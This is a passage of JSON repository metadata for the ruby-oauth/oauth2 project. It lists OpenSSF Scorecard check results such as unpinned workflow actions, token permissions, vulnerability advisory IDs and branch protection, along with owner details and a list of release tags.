GitHubAction not pinned by hash: .github/workflows/ancient.yml:64: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/ancient.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ancient.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/ancient.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/auto-assign.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/auto-assign.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/caboose.yml:88: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/caboose.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/caboose.yml:91: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/caboose.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/coverage.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:81: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:88: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:98: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:108: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/coverage.yml:122: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/coverage.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/current.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/current.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/current.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/current.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/dep-heads.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/dep-heads.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/dep-heads.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/dep-heads.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/dependency-review.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/dependency-review.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/dependency-review.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/dependency-review.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/heads.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/heads.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/heads.yml:72: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/heads.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/jruby.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/jruby.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/jruby.yml:54: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/jruby.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/legacy.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/legacy.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/legacy.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/legacy.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/license-eye.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/license-eye.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/license-eye.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/license-eye.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/locked_deps.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/locked_deps.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/locked_deps.yml:77: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/locked_deps.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/macos.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/macos.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/macos.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/macos.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/opencollective.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/opencollective.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/opencollective.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/opencollective.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/style.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/style.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/style.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/style.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/supported.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/supported.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/supported.yml:60: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/supported.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/unlocked_deps.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/unlocked_deps.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/unlocked_deps.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/unlocked_deps.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/unsupported.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/unsupported.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/unsupported.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/unsupported.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/windows.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/windows.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/windows.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/ruby-oauth/oauth2/windows.yml/main?enable=pin","Info:   2 out of  25 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of  24 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#pinned-dependencies"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Info: topLevel 'contents' permission set to 'read': .github/workflows/ancient.yml:4","Warn: no topLevel permission defined: .github/workflows/auto-assign.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/caboose.yml:5","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/coverage.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/current.yml:5","Info: topLevel 'contents' permission set to 'read': .github/workflows/dep-heads.yml:6","Info: topLevel 'contents' permission set to 'read': .github/workflows/dependency-review.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/heads.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/jruby.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/legacy.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/license-eye.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/locked_deps.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/macos.yml:5","Warn: topLevel 'contents' permission set to 'write': .github/workflows/opencollective.yml:10","Info: topLevel permissions set to 'read-all': .github/workflows/scorecard-analysis.yml:12","Info: topLevel 'contents' permission set to 'read': .github/workflows/style.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/supported.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/unlocked_deps.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/unsupported.yml:4","Info: topLevel 'contents' permission set to 'read': .github/workflows/windows.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#token-permissions"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#license"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#cii-best-practices"}},{"name":"Vulnerabilities","score":0,"reason":"16 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-h27x-rffw-24p4","Warn: Project is vulnerable to: GHSA-3m6g-2423-7cp3","Warn: Project is vulnerable to: GHSA-7mqq-6cf9-v2qp","Warn: Project is vulnerable to: GHSA-8vqr-qjwx-82mw","Warn: Project is vulnerable to: GHSA-g2pf-xv49-m2h5","Warn: Project is vulnerable to: GHSA-h2jq-g4cq-5ppq","Warn: Project is vulnerable to: GHSA-q2ww-5357-x388","Warn: Project is vulnerable to: GHSA-q4qf-9j86-f5mh","Warn: Project is vulnerable to: GHSA-qfgr-crr9-7r49","Warn: Project is vulnerable to: GHSA-qv7j-4883-hwh7","Warn: Project is vulnerable to: GHSA-rx22-g9mx-qrhv","Warn: Project is vulnerable to: GHSA-v569-hp3g-36wr","Warn: Project is vulnerable to: GHSA-v6x5-cg8r-vv6x","Warn: Project is vulnerable to: GHSA-vgpv-f759-9wx3","Warn: Project is vulnerable to: GHSA-x8cg-fq8g-mxfx","Warn: Project is vulnerable to: GHSA-g857-hhfv-j68w"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 28 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#sast"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":4,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: 'branch protection settings apply to administrators' is disabled on branch 'main'","Warn: 'stale review dismissal' is disabled on branch 'main'","Warn: branch 'main' does not require approvers","Warn: codeowners review is not required on branch 'main'","Warn: 'last push approval' is disabled on branch 'main'","Info: 'up-to-date branches' is required to merge on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#branch-protection"}},{"name":"CI-Tests","score":10,"reason":"14 out of 14 merged PRs checked by a CI test -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project runs tests before pull requests are merged.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#ci-tests"}},{"name":"Contributors","score":10,"reason":"project has 55 contributing companies or organizations","details":["Info: found contributions from: 9thbit, Dynamoid, Maffiaco, RubiesOnDaCloud, acquaintable, appraisal-rb, bluepill-rb, buildkite, bundler, carlhuda, charlotte-ruby, codeforamerica, contriboss, deliany.co, erikhuda, eyecue lab, floss-funding, galtzo-floss, ganser.consulting gmbh, gitlabhq, hackforchange, herimedia, historical-restoration, hivetechlabs, idcon, intridea, kettle-rb, lostisland, national-progressive-party, nyc-ruby-meetup, oauthjp, octo technology, october-surprise, octokit, omniauth, openid, openid-foundation, openid-foundation-japan, opentransact, phobos, resque, rubocop-hq, rubocop-lts, ruby-oauth, ruby-openid, rubygems, sounddrop, syndicated-media, tokium, tweetstream, volvo-cars, wordtreefoundation, yapert, yauth.jp, zendesk"],"documentation":{"short":"Determines if the project has a set of contributors from multiple organizations (e.g., companies).","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#contributors"}}]},"last_synced_at":"2026-04-17T14:22:27.014Z","repository_id":878990,"created_at":"2026-04-17T14:22:27.014Z","updated_at":"2026-04-17T14:22:27.014Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36680764,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-15T02:00:05.847Z","response_time":94,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"ruby-oauth","name":"Ruby OAuth","uuid":"40009","kind":"organization","description":"🔐 Ruby Gems for building with OAuth v1.0a, 2.0, 2.1 and OIDC","email":"floss@galtzo.com","website":"https://opencollective.com/ruby-oauth","location":"United States of America","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/40009?v=4","repositories_count":7,"last_synced_at":"2026-05-07T06:40:05.814Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/ruby-oauth","funding_links":[],"total_stars":2922,"followers":22,"following":0,"created_at":"2022-11-02T16:17:23.129Z","updated_at":"2026-05-07T06:40:05.814Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ruby-oauth","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ruby-oauth/repositories"},"tags":[{"name":"v2.0.25","sha":"63727352546eaef035769bf2773ffae658caf6d8","kind":"tag","published_at":"2026-07-15T00:58:06.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.25","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.25/manifests"},{"name":"v2.0.24","sha":"4f239dc103d1dc77428cebc9f56f5aea5b20bfdd","kind":"tag","published_at":"2026-06-18T19:03:30.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.24","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.24/manifests"},{"name":"v2.0.23","sha":"af442930ffe9305ed6b4eb1fa30d3c14702c55d8","kind":"tag","published_at":"2026-06-13T11:29:00.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.23","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.23/manifests"},{"name":"v2.0.22","sha":"551f434a81912763fb5a8e240cd00a6532e26970","kind":"tag","published_at":"2026-06-07T07:13:25.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.22","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.22/manifests"},{"name":"v2.0.21","sha":"3f4154985fc0ab9b2b3fd0b085fa132fdc8bd8b4","kind":"tag","published_at":"2026-06-07T03:51:42.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.21","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.21/manifests"},{"name":"v2.0.20","sha":"e2d509705db6091c8d5f27c31e29c58e39e51c7c","kind":"tag","published_at":"2026-05-21T00:33:43.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.20","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.20/manifests"},{"name":"v2.0.19","sha":"63fddbe046e3ab813b6389aa07985f7a99bf01db","kind":"tag","published_at":"2026-05-16T07:14:58.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.19","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.19/manifests"},{"name":"v2.0.18","sha":"b5753116121553d56937039dafc5ea472d9a99ed","kind":"tag","published_at":"2025-11-08T11:51:42.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.18","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.18/manifests"},{"name":"v2.0.17","sha":"061ec4abe11e9142ab4f4f18743019ac828eb4b3","kind":"tag","published_at":"2025-09-16T03:42:11.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.17","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.17/manifests"},{"name":"v2.0.16","sha":"b517202966275fda6097ec077ed2684327df43d0","kind":"tag","published_at":"2025-09-14T21:14:12.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.16","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.16/manifests"},{"name":"v2.0.15","sha":"cb2965b48205464f3a75669caf6a2a1658506eb4","kind":"tag","published_at":"2025-09-08T08:37:46.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.15","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.15/manifests"},{"name":"v2.0.14","sha":"de505c115f367c51dfbe6fd894cd0ee15b8a8164","kind":"tag","published_at":"2025-08-31T11:39:45.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.14","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.14/manifests"},{"name":"v2.0.13","sha":"26b3dfe541642ad4004cbcf85900276cea27813a","kind":"tag","published_at":"2025-08-30T22:39:29.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.13","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.13/manifests"},{"name":"v2.0.12","sha":"1b1f2bbe054e88310dd7b679b76c3745038693da","kind":"tag","published_at":"2025-05-31T22:17:27.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.12","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.12/manifests"},{"name":"v2.0.11","sha":"2dba5144429b3eec6e117fd12f7f3eed3f911b09","kind":"tag","published_at":"2025-05-23T05:19:22.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.11","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.11/manifests"},{"name":"v2.0.10","sha":"97693b0a0cab3088ed31909bb15452f135494886","kind":"tag","published_at":"2025-05-17T00:12:29.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.10","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.10/manifests"},{"name":"v2.0.9","sha":"8c88ad2f309374599ac56cd253fb93e3ad81cf07","kind":"tag","published_at":"2022-09-16T05:07:35.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.9","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.9/manifests"},{"name":"v1.4.11","sha":"d41fb6e8feef3b0b0382dedc0ede82f5ca7854cd","kind":"tag","published_at":"2022-09-16T05:02:38.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.11","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.11/manifests"},{"name":"v2.0.8","sha":"d1989817de0e9222b71533e4443d80f86a922732","kind":"tag","published_at":"2022-09-01T02:09:26.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.8","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.8","dependencies_parsed_at":null,"